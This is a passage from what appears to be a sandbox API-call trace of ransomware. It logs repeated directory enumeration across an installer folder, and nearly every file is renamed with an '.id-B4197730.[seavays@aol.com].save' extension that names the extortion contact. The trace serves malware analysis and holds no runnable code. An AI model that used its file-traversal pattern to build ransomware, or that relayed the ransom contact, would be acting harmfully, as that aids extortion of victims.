cFileName="LocalizedData.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="LOCALI~1.SAV")) returned 1 [0206.016] FindNextFileW (in: hFindFile=0x4262f98, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7e38b7a, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7e38b7a, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7e38b7a, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 1 [0206.016] FindNextFileW (in: hFindFile=0x4262f98, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7e38b7a, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7e38b7a, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7e38b7a, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 0 [0206.016] FindClose (in: hFindFile=0x4262f98 | out: hFindFile=0x4262f98) returned 1 [0206.017] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3520950 | out: hHeap=0x5c0000) returned 1 [0206.017] FindNextFileW (in: hFindFile=0x5da190, lpFindFileData=0x316fa7c | out: lpFindFileData=0x316fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x27e, dwReserved1=0xffffb5ac, cFileName="Client", cAlternateFileName="")) returned 1 [0206.018] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x3520950 [0206.018] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Client\\*", lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName=".", cAlternateFileName="")) returned 0x4262cd8 [0206.019] FindNextFileW (in: hFindFile=0x4262cd8, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="..", cAlternateFileName="")) returned 1 [0206.019] FindNextFileW (in: hFindFile=0x4262cd8, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8e76d99, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x8e76d99, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x8e76d99, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x31546, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="Parameterinfo.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="PARAME~1.SAV")) returned 1 [0206.019] FindNextFileW (in: hFindFile=0x4262cd8, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8e9f1e6, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x8e9f1e6, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x8e9f1e6, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x9978, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="UiInfo.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="UIINFO~1.SAV")) returned 1 [0206.020] FindNextFileW (in: hFindFile=0x4262cd8, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8e9f1e6, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x8e9f1e6, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x8e9f1e6, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x9978, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="UiInfo.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="UIINFO~1.SAV")) returned 0 [0206.020] FindClose (in: hFindFile=0x4262cd8 | out: hFindFile=0x4262cd8) returned 1 [0206.021] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3520950 | out: hHeap=0x5c0000) returned 1 [0206.021] FindNextFileW (in: hFindFile=0x5da190, lpFindFileData=0x316fa7c | out: lpFindFileData=0x316fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8ec31ea, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x8ec31ea, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x96a8dbe, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x3ff4, dwReserved0=0x27e, dwReserved1=0xffffb5ac, cFileName="DHtmlHeader.html.id-B4197730.[seavays@aol.com].save", cAlternateFileName="DHTMLH~1.SAV")) returned 1 [0206.021] FindNextFileW (in: hFindFile=0x5da190, lpFindFileData=0x316fa7c | out: lpFindFileData=0x316fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7e5f03d, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7e5f03d, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7e850f9, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x15ad2, dwReserved0=0x27e, dwReserved1=0xffffb5ac, cFileName="DisplayIcon.ico.id-B4197730.[seavays@aol.com].save", cAlternateFileName="DISPLA~1.SAV")) returned 1 [0206.021] FindNextFileW (in: hFindFile=0x5da190, lpFindFileData=0x316fa7c | out: lpFindFileData=0x316fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x27e, dwReserved1=0xffffb5ac, cFileName="Extended", cAlternateFileName="")) returned 1 [0206.021] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x3520950 [0206.021] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Extended\\*", lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName=".", cAlternateFileName="")) returned 0x4262e58 [0206.023] FindNextFileW (in: hFindFile=0x4262e58, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="..", cAlternateFileName="")) returned 1 [0206.023] FindNextFileW (in: hFindFile=0x4262e58, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x912574a, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x912574a, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x914bbf2, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x16d86, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="Parameterinfo.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="PARAME~1.SAV")) returned 1 [0206.023] FindNextFileW (in: hFindFile=0x4262e58, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x914bbf2, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x914bbf2, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x9171b9f, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x9978, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="UiInfo.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="UIINFO~1.SAV")) returned 1 [0206.023] FindNextFileW (in: hFindFile=0x4262e58, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x914bbf2, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x914bbf2, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x9171b9f, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x9978, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="UiInfo.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="UIINFO~1.SAV")) returned 0 [0206.023] FindClose (in: hFindFile=0x4262e58 | out: hFindFile=0x4262e58) returned 1 [0206.024] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3520950 | out: hHeap=0x5c0000) returned 1 [0206.024] FindNextFileW (in: hFindFile=0x5da190, lpFindFileData=0x316fa7c | out: lpFindFileData=0x316fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x27e, dwReserved1=0xffffb5ac, cFileName="Graphics", cAlternateFileName="")) returned 1 [0206.025] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x3520950 [0206.025] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\*", lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName=".", cAlternateFileName="")) returned 0x4262e58 [0206.026] FindNextFileW (in: hFindFile=0x4262e58, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="..", cAlternateFileName="")) returned 1 [0206.026] FindNextFileW (in: hFindFile=0x4262e58, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7e850f9, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7e850f9, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7e850f9, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x566, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="Print.ico.id-B4197730.[seavays@aol.com].save", cAlternateFileName="PRINTI~1.SAV")) returned 1 [0206.026] FindNextFileW (in: hFindFile=0x4262e58, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7eab335, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7eab335, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x8323a6c, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="Rotate1.ico.id-B4197730.[seavays@aol.com].save", cAlternateFileName="ROTATE~1.SAV")) returned 1 [0206.027] FindNextFileW (in: hFindFile=0x4262e58, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7f4403b, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7f4403b, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7f69e9c, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="Rotate2.ico.id-B4197730.[seavays@aol.com].save", cAlternateFileName="ROTATE~2.SAV")) returned 1 [0206.027] FindNextFileW (in: hFindFile=0x4262e58, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7f69e9c, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7f69e9c, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7f69e9c, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="Rotate3.ico.id-B4197730.[seavays@aol.com].save", cAlternateFileName="ROTATE~3.SAV")) returned 1 [0206.027] FindNextFileW (in: hFindFile=0x4262e58, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7f90157, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7f90157, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7f90157, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="Rotate4.ico.id-B4197730.[seavays@aol.com].save", cAlternateFileName="ROTATE~4.SAV")) returned 1 [0206.027] FindNextFileW (in: hFindFile=0x4262e58, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7f90157, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7f90157, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x8454d86, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="Rotate5.ico.id-B4197730.[seavays@aol.com].save", cAlternateFileName="RO6564~1.SAV")) returned 1 [0206.027] FindNextFileW (in: hFindFile=0x4262e58, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7fb63cc, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7fb63cc, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7fb63cc, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="Rotate6.ico.id-B4197730.[seavays@aol.com].save", cAlternateFileName="RO9CC7~1.SAV")) returned 1 [0206.028] FindNextFileW (in: hFindFile=0x4262e58, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7fb63cc, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7fb63cc, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7fb63cc, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="Rotate7.ico.id-B4197730.[seavays@aol.com].save", cAlternateFileName="RO116F~1.SAV")) returned 1 [0206.028] FindNextFileW (in: hFindFile=0x4262e58, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7fdc649, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7fdc649, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7fdc649, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="Rotate8.ico.id-B4197730.[seavays@aol.com].save", cAlternateFileName="RO9FCF~1.SAV")) returned 1 [0206.028] FindNextFileW (in: hFindFile=0x4262e58, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7fdc649, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7fdc649, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7fdc649, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x564, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="Save.ico.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SAVEIC~1.SAV")) returned 1 [0206.028] FindNextFileW (in: hFindFile=0x4262e58, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x82b13ae, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x82b13ae, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x82d762f, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x9056, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="Setup.ico.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPI~1.SAV")) returned 1 [0206.028] FindNextFileW (in: hFindFile=0x4262e58, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x82d762f, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x82d762f, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x82fd6f7, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x2884, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="stop.ico.id-B4197730.[seavays@aol.com].save", cAlternateFileName="STOPIC~1.SAV")) returned 1 [0206.028] FindNextFileW (in: hFindFile=0x4262e58, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x82fd6f7, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x82fd6f7, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x82fd6f7, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x56e, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="SysReqMet.ico.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SYSREQ~1.SAV")) returned 1 [0206.029] FindNextFileW (in: hFindFile=0x4262e58, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8323a6c, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x8323a6c, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x880e8ea, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x574, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="SysReqNotMet.ico.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SYSREQ~2.SAV")) returned 1 [0206.029] FindNextFileW (in: hFindFile=0x4262e58, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8323a6c, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x8323a6c, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x8323a6c, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x2884, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="warn.ico.id-B4197730.[seavays@aol.com].save", cAlternateFileName="WARNIC~1.SAV")) returned 1 [0206.029] FindNextFileW (in: hFindFile=0x4262e58, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8323a6c, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x8323a6c, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x8323a6c, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x2884, dwReserved0=0xffffdf24, dwReserved1=0xbf7, cFileName="warn.ico.id-B4197730.[seavays@aol.com].save", cAlternateFileName="WARNIC~1.SAV")) returned 0 [0206.029] FindClose (in: hFindFile=0x4262e58 | out: hFindFile=0x4262e58) returned 1 [0206.030] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3520950 | out: hHeap=0x5c0000) returned 1 [0206.030] FindNextFileW (in: hFindFile=0x5da190, lpFindFileData=0x316fa7c | out: lpFindFileData=0x316fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x92c91b3, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x92c91b3, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x92c91b3, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0xf18, dwReserved0=0x27e, dwReserved1=0xffffb5ac, cFileName="header.bmp.id-B4197730.[seavays@aol.com].save", cAlternateFileName="HEADER~1.SAV")) returned 1 [0206.030] FindNextFileW (in: hFindFile=0x5da190, lpFindFileData=0x316fa7c | out: lpFindFileData=0x316fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x66ea7e00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0x66ea7e00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0xb6d9e4d, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0xadd3953, dwReserved0=0x27e, dwReserved1=0xffffb5ac, cFileName="netfx_Core.mzz.id-B4197730.[seavays@aol.com].save", cAlternateFileName="NETFX_~1.SAV")) returned 1 [0206.030] FindNextFileW (in: hFindFile=0x5da190, lpFindFileData=0x316fa7c | out: lpFindFileData=0x316fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc183da00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0xc183da00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0x97db9cb, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x290310, dwReserved0=0x27e, dwReserved1=0xffffb5ac, cFileName="netfx_Core_x64.msi.id-B4197730.[seavays@aol.com].save", cAlternateFileName="NETFX_~2.SAV")) returned 1 [0206.030] FindNextFileW (in: hFindFile=0x5da190, lpFindFileData=0x316fa7c | out: lpFindFileData=0x316fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x84c7664, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x84c7664, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x89fe5d9, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x11c108, dwReserved0=0x27e, dwReserved1=0xffffb5ac, cFileName="netfx_Core_x86.msi.id-B4197730.[seavays@aol.com].save", cAlternateFileName="NETFX_~3.SAV")) returned 1 [0206.031] FindNextFileW (in: hFindFile=0x5da190, lpFindFileData=0x316fa7c | out: lpFindFileData=0x316fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf74cd515, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf74cd515, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xbb97cbd, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x29e23d7, dwReserved0=0x27e, dwReserved1=0xffffb5ac, cFileName="netfx_Extended.mzz.id-B4197730.[seavays@aol.com].save", cAlternateFileName="NETFX_~4.SAV")) returned 1 [0206.031] FindNextFileW (in: hFindFile=0x5da190, lpFindFileData=0x316fa7c | out: lpFindFileData=0x316fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8abdf43, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x8abdf43, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x8b0990b, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0xd5110, dwReserved0=0x27e, dwReserved1=0xffffb5ac, cFileName="netfx_Extended_x64.msi.id-B4197730.[seavays@aol.com].save", cAlternateFileName="NE6FA1~1.SAV")) returned 1 [0206.031] FindNextFileW (in: hFindFile=0x5da190, lpFindFileData=0x316fa7c | out: lpFindFileData=0x316fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9361c02, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x9361c02, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x99685ec, 